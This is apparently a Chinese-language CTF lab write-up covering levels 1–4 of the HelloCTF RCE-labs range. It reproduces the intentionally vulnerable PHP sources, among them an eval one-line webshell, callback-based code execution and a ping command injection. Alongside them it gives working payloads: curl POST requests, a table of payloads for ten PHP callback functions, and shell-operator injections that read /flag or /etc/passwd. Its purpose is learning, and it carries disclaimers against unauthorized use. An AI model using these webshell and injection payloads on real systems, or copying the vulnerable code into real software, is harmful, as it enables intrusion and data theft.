【RCELABS】Level 1~4 —— 基础篇前言RCELABS - 1一句话木马和代码执行RCELABS - 2PHP代码执行函数RCELABS - 3命令执行RCELABS - 4命令执行 - SHELL 运算符总结免责声明前言本次练习靶场RCE-labs 出自探姬ProbiusOfficial的 HelloCTF 开源项目远程代码执行、命令注入是Web安全与CTF Web题型里十分核心的考点。这套靶场循序渐进覆盖基础执行原理、各类过滤绕过、无字母数字Payload、短字符极限利用、PHP特性漏洞、模板注入等大量经典场景非常适合系统性练习RCE相关漏洞思路。文中所有分析、Payload仅在自行部署的本地靶场环境进行学习练习仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权的目标自觉遵守《网络安全法》等相关法律法规。Level 0为理论先导关卡相关基础概念整合于前言正文将从 Level 1 开始逐关开展源码审计与漏洞复现。整篇文章统一采用源码分析→原理拆解→Payload构造的结构方便后续回顾。开源仓库https://github.com/ProbiusOfficial/RCE-labsRCELABS - 1一句话木马和代码执行题目描述考点一句话木马与 PHP 代码执行描述通过 eval 执行用户提交的 PHP 代码理解一句话木马的基本形态。?phpinclude(get_flag.php);/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : 一句话木马和代码执行 --- 「代码执行(Code Execution)」 在某个语言中通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为如PHP中的eval()函数或Python中的exec()函数。 当漏洞入口点可以执行任意代码时我们称其为代码执行漏洞 —— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况比如 eval(system(cat /etc/passwd);); 也被归为代码执行漏洞。 我们平时最常见的一句话木马就用的 eval() 函数如下所示一般情况下为了接收更长的Payload我们一般对可控参数使用POST传参 try POST: aecho Hello,World!; */eval($_POST[a]);highlight_file(__FILE__);?源码分析核心危险代码eval($_POST[a]);eval()接收字符串将其当作 PHP 代码执行可控点POST 参数a直接传入 eval无任何过滤include(get_flag.php)已将$flag变量载入当前作用域漏洞原理经典的 PHP 代码执行漏洞。用户可控的 POST 参数直接送入eval()函数攻击者可传入任意合法 PHP 语句执行这也是一句话木马的原型。PayloadPOST最简写法aecho $flag;get_flag.php已被引入$flag变量直接可用无需调用系统命令或读取文件。利用方式curl 命令Kali/Linuxcurl-XPOST-daecho \$flag;http://challenge.cyclens.tech:31295/⚠️ Linux shell 中$需转义为\$否则会被识别为环境变量导致 Payload 失效。成功获取 flagflag{r9k4zryx-s9dg-4vg-89hn-2uorp7jjnlcci}Firefox HackBar勾选application/x-www-form-urlencodedPOST Body 填入aecho $flag;点击 Execute 发送。RCELABS - 2PHP代码执行函数题目描述考点PHP 可回调代码执行函数描述从一组可执行代码的 PHP 函数中随机抽取根据抽到的函数构造对应参数完成代码执行读取$flag。?phpinclude(get_flag.php);global$flag;session_start();// 开启 session/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : PHP代码执行函数 --- 除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。 在该关卡中你将会从能够执行代码的PHP函数中抽取一个你需要填充函数的内容来执行某些代码以获取flagtip:flag存储在 $flag 中,当然你也可以尝试其他方法。 */functionhello_ctf($function,$content){global$flag;$code$function.(.$content.);;echoYour Code:$codebr;eval($code);}functionget_fun(){$func_list[eval,assert,call_user_func,create_function,array_map,call_user_func_array,usort,array_filter,array_reduce,preg_replace];if(!isset($_SESSION[random_func])){$_SESSION[random_func]$func_list[array_rand($func_list)];}$random_func$_SESSION[random_func];$url_fucnpreg_replace(/_/,-,$_SESSION[random_func]);echo获得新的函数:$random_func去 https://www.php.net/manual/zh/function..$url_fucn..php 查看函数详情。br;return$_SESSION[random_func];}functionstart($act){$random_funcget_fun();if($actr){/* 通过发送GET ?actionr 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */session_unset();session_destroy();}if($actsubmit){$user_content$_POST[content];hello_ctf($random_func,$user_content);}}isset($_GET[action])?start($_GET[action]):;highlight_file(__FILE__);?源码分析functionhello_ctf($function,$content){global$flag;$code$function.(.$content.);;echoYour Code:$codebr;eval($code);}核心逻辑程序从函数列表中随机抽取一个函数存入 session访问?actionsubmit时接收 POST 参数content拼接成函数名(content);的格式送入eval()执行flag 存储在全局变量$flag中随机函数列表$func_list[eval,assert,call_user_func,create_function,array_map,call_user_func_array,usort,array_filter,array_reduce,preg_replace];小技巧访问?actionr可销毁 session重置随机函数。漏洞原理这关考察对 PHP 各类回调函数 / 代码执行函数的熟悉程度。不同函数的参数格式不同需要根据抽到的函数构造对应的 payload。各函数 Payload 对照表随机函数POST content Payload拼接后最终执行代码难度evalecho $flag;eval(echo $flag;);⭐assertecho $flag;assert(echo $flag;);⭐call_user_funcvar_dump,$flagcall_user_func(var_dump,$flag);⭐⭐call_user_func_arrayecho,[$flag]call_user_func_array(echo,[$flag]);⭐⭐array_mapvar_dump,[$flag]array_map(var_dump,[$flag]);⭐⭐array_filtervar_dump,[$flag]array_filter([$flag],var_dump);⭐⭐array_reducevar_dump,[$flag],1array_reduce([$flag],var_dump,1);⭐⭐⭐usortvar_dump,[$flag,1]usort([$flag,1],var_dump);⭐⭐⭐create_function,$flag;}create_function(,$flag;});⭐⭐⭐preg_replace/abc/e,echo $flag;,abcpreg_replace(/abc/e,echo $flag;,abc);⭐⭐⭐⭐解题步骤访问靶场地址页面顶部会显示当前会话随机抽取的函数名若抽到eval/assert直接使用最简 payload 即可通关若抽到复杂函数两种方案任选方案一根据函数语法构造对应 payload 直接利用方案二访问?actionr重置会话重新随机刷出简单函数为止构造 POST 请求将 payload 以content参数提交到?actionsubmit实战演示以 call_user_func 为例当前抽到函数call_user_funcHackBar 配置项值请求方式POSTURLhttp://challenge.cyclens.tech:30731/?actionsubmitPOST Bodycontentvar_dump,$flag拼接后执行代码call_user_func(var_dump,$flag);执行效果call_user_func(回调函数, 参数1, 参数2...)第一个参数var_dump作为回调函数名第二个参数$flag作为传入参数最终执行var_dump($flag)直接输出 flag 内容成功获取flagflag{swugxzbq-wdpl-4td-8m9t-cqih1yyd79gry}RCELABS - 3命令执行题目描述考点最基础的命令执行描述直接将用户输入送入 system理解命令执行入口的最小形态。Warning:system():Cannotexecute a blank command in/var/www/html/index.php on line21?php/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : 命令执行 --- 「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令如Windows中的CMD命令或Linux中的Shell命令这在语言中可以体现为一些特定的函数或者方法调用如PHP中的shell_exec()函数或Python中的os.system()函数。 当漏洞入口点只能执行系统命令时我们可以称该漏洞为命令执行漏洞如下面修改过的 一句话木马: try POST: acat /etc/passwd; */system($_POST[a]);highlight_file(__FILE__);?这是经典的一句话木马POST 参数a直接传入system()执行系统命令无过滤典型命令执行漏洞。PayloadPOSTacat /flag利用方式curlcurl-XPOST-dacat /flaghttp://靶场地址/HackBarPOST Body 填acat /flag直接执行。报错Cannot execute a blank command说明参数为空或没传成功检查 POST 参数名是否正确。成功获取flagflag{wdh39jc9-h2c8-4go-8vgg-hk5vwtwfqev6t}RCELABS - 4命令执行 - SHELL 运算符题目描述考点命令执行 Shell 运算符描述通过 Shell 运算符拼接命令绕过正常业务逻辑执行任意系统命令。?php/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 --- https://www.runoob.com/linux/linux-shell-basic-operators.html SHELL 运算符 可以用于控制命令的执行流程使得你能够根据条件执行不同的命令。 逻辑与运算符: 只有当第一个命令 cmd_1 执行成功返回值为 0时才会执行第二个命令 cmd_2。例: mkdir test cd test ||逻辑或运算符: 只有当第一个命令 cmd_1 执行失败返回值不为 0时才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo Directory not found 后台运行符: 将命令 cmd_1 放到后台执行Shell 立即执行 cmd_2两个命令并行执行。例: sleep 10 echo This will run immediately. ;命令分隔符: 无论前一个命令 cmd_1 是否成功都会执行下一个命令 cmd_2。例: echo Hello ; echo World try GET: ?ip8.8.8.8 flag is /flag */functionhello_server($ip){system(ping -c 1$ip);}isset($_GET[ip])?hello_server($_GET[ip]):null;highlight_file(__FILE__);?源码分析system(ping -c 1$ip);$ip可控直接拼接到 system 执行的命令中。没有对输入做任何过滤可以通过 Shell 运算符在 ping 命令后拼接任意系统命令。常用 Shell 运算符运算符作用;命令分隔符前面执行完继续执行后面逻辑与前面命令成功才执行后面||逻辑或前面命令失败才执行后面后台运行前后命令并行执行PayloadGET最简单直接?ip127.0.0.1;cat /flag执行流程先ping -c 1 127.0.0.1再执行cat /flag其他可行姿势?ip127.0.0.1cat /flag ?ip||cat /flag ?ip127.0.0.1cat /flag在 URL 中是参数分隔符需要 URL 编码为%26成功获得flagflag{kibyilny-s3lo-4yf-8oan-kcgrrczq0bzfj}总结本靶场1~4分为PHP代码执行、系统命令执行两大模块。Level1、Level2属于PHP代码执行漏洞依靠eval()执行PHP语法可直接读取作用域内$flag变量其中Level2存在Session随机函数机制需要注意GET、POST混合传参规则。Level3、Level4为系统命令执行漏洞会调用操作系统Shell指令读取文件。Level4重点考察Shell分隔符逃逸借助;、等运算符突破原有命令限制。需要区分两类漏洞利用思路代码执行使用PHP语法命令执行填写系统Shell指令Payload不能混用。免责声明本篇文章所有内容仅用于安全学习交流全部实验在本地自建靶场完成。禁止直接用于未授权测试非法渗透测试需承担相应法律责任。
网站建设
高端定制
企业官网